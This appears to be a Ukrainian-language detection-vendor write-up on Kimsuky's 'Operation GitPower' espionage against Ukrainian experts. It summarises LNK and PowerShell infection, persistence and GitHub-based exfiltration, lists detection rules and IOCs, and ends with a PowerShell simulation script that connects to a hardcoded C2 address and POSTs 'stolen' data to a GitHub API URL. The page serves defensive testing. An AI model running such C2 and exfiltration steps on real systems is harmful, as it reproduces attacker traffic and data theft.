Операція GitPower: Шпигунство Kimsuky проти України
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Зараз Kimsuky здійснює кібершпигунство проти українських експертів у сфері дипломатії, безпеки та міжнародної політики. Відома як Операція GitPower, кампанія покладається на фішинг-атаки із відповідями на приманки та зловживає легітимними платформами розробки, такими як GitHub, GitLab і Codeberg для доставки зловмисного програмного забезпечення. Зловмисники також почали використовувати інструменти штучного інтелекту для створення помилкових документів та автоматизації процесів атак.
Розслідування
Слідчі переглянули кілька етапів атаки, включаючи шкідливі LNK файли, замасковані як PDF, та підробні інсталяційні програми Zoom. Вони відстежили багатоступеневий потік виконання, в якому сценарії VBScript і PowerShell встановлювали стійкість через заплановані завдання. Група використовує твердо закодовані C2 сервери та GitHub API для виконання ексфільтрації даних.
Пом’якшення
Організаціям слід посилити можливості виявлення та полювання на загрози EDR, спрямовані на зловживання LNK файлами, PowerShell і легітимними хмарними службами розробки. Рекомендується суворий моніторинг незвичних запланованих задач і несанкціонованих викликів API до GitHub і GitLab. Користувачів слід навчити розпізнавати витончені тактики соціальної інженерії з приманкою в відповідь.
Реагування
Після виявлення відповідачі повинні ізолювати уражені кінцеві точки, щоб зупинити подальшу ексфільтрацію даних через виявлені канали TCP C2 або GitHub. Аналітики повинні шукати несанкціоновані заплановані завдання та перевірити каталог C:UsersPublic на наявність зловмисних файлів VBS/PS1. Важливо пов’язувати виконання LNK файлів з подальшими мережевими підключеннями до легітимних хмарних сервісів.
Потік атаки
Ми ще оновлюємо цю частину.
Виявлення
Можливий зловмисний LNK файл з подвійним розширенням (через cmdline)
PowerShell виконує файл у підозрілому каталозі, використовуючи політику обходу виконання (через cmdline)
Schtasks вказує на підозрілий каталог / двійковий файл / сценарій (через cmdline)
LOLBAS WScript / CScript (через process_creation)
Підозріле виконання з профілю публічного користувача (через process_creation)
Підозріле використання CURL (через cmdline)
Підозріле використання Invoke-RestMethod (через powershell)
Виклик підозрілих методів .NET з PowerShell (через powershell)
Можливе завантаження файлів з GitHub, ініційоване незвичним процесом (через network_connection)
Підозрілі файли в профілі публічного користувача (через file_event)
IOC (HashMd5) для виявлення: Операція Kimsuky GitPower, орієнтована на Україну, Частина 4
IOC (HashMd5) для виявлення: Операція Kimsuky GitPower, орієнтована на Україну, Частина 3
IOC (HashMd5) для виявлення: Операція Kimsuky GitPower, орієнтована на Україну, Частина 2
IOC (HashMd5) для виявлення: Операція Kimsuky GitPower, орієнтована на Україну, Частина 1
IOC (SourceIP) для виявлення: Операція Kimsuky GitPower, орієнтована на Україну
IOC (DestinationIP) для виявлення: Операція Kimsuky GitPower, орієнтована на Україну
Виявлення з’єднання TCP C2 і ексфільтрації на основі GitHub в діяльності Kimsuky [Windows Network Connection]
Виявлення запланованого завдання GoogleUpdateTaskMachineUA для виконання зловмисних сценаріїв [Windows Sysmon]
Файли LNK використовуються для виконання зловмисних скриптів PowerShell з обфускацією та стійкістю [Windows Process Creation]
Виконання симуляції
-
Опис атаки та команди: Супротивник намагається встановити зв’язок Command and Control (C2) та ексфільтрувати конфіденційні дані через GitHub. Спочатку зловмисник встановлює TCP-з’єднання на твердо закодовану IP-адресу C2
111.92.246.145порт12345для сигналу готовності. По-друге, для уникнення виявлення за допомогою традиційного моніторингу передачі даних, зловмисник використовує підхід “жити за рахунок місцевих ресурсів”, завантажуючи викрадений документ до репозиторію GitHub через API вмісту GitHub, спеціально імітуючи User-Agent KimsukyGitHub-API/1.0. -
Сценарій тестування регресії:
# Сценарій симуляції для перевірки виявлення Kimsuky Write-Host "[+] Початок симуляції Kimsuky..." -ForegroundColor Cyan # 1. Симуляція C2-підключення (TCP 111.92.246.145:12345) Write-Host "[+] Спроба підключення C2 до 111.92.246.145:12345" -ForegroundColor Yellow try { $tcpClient = New-Object System.Net.Sockets.TcpClient $connection = $tcpClient.BeginConnect("111.92.246.145", 12345, $null, $null) # Ми використовуємо короткий тайм-аут, щоб сценарій не зависав, якщо IP недосяжний $success = $connection.AsyncWaitHandle.WaitOne(2000, $false) if (-not $success) { Write-Host "[!] Підключення не вдалося (очікуване, якщо IP недоступний), але телеметрія повинна бути зареєстрована Sysmon." -ForegroundColor Gray } $tcpClient.Close() } catch { Write-Host "[!] Помилка під час симуляції C2: $($_.Exception.Message)" -ForegroundColor Red } # 2. Симуляція ексфільтрації через API GitHub (POST до GitHub API з конкретним User-Agent) Write-Host "[+] Спроба симуляції ексфільтрації через API GitHub..." -ForegroundColor Yellow $githubUri = "https://github.com/repos/test-attacker/exfil-repo/contents/stolen_data.txt" $userAgent = "GitHub-API/1.0" $headers = @{ "Authorization" = "token FAKE_TOKEN_FOR_TESTING" "Content-Type" = "application/json" } $body = @{ "message" = "Ексфільтрація даних" "content" = "SGVsbG8gV29ybGQ=" # Base64 для "Hello World" } | ConvertTo-Json try { # Використання -UserAgent, щоб запустити специфічну логіку виявлення Invoke-RestMethod -Uri $githubUri -Method Post -Headers $headers -Body $body -UserAgent $userAgent } catch { Write-Host "[!] HTTP запит завершено (очікується 404/401 для підробного URL, але User-Agent було відправлено)." -ForegroundColor Gray } Write-Host "[+] Симуляція завершена." -ForegroundColor Cyan -
Команди очистки:
# Цей сценарій симуляції не створює постійних артефактів. # Якщо використовувалися будь-які локальні файли для змісту, їх слід видалити: Remove-Item -Path ".stolen_data.txt" -ErrorAction SilentlyContinue Write-Host "[+] Очищення завершено." -ForegroundColor Green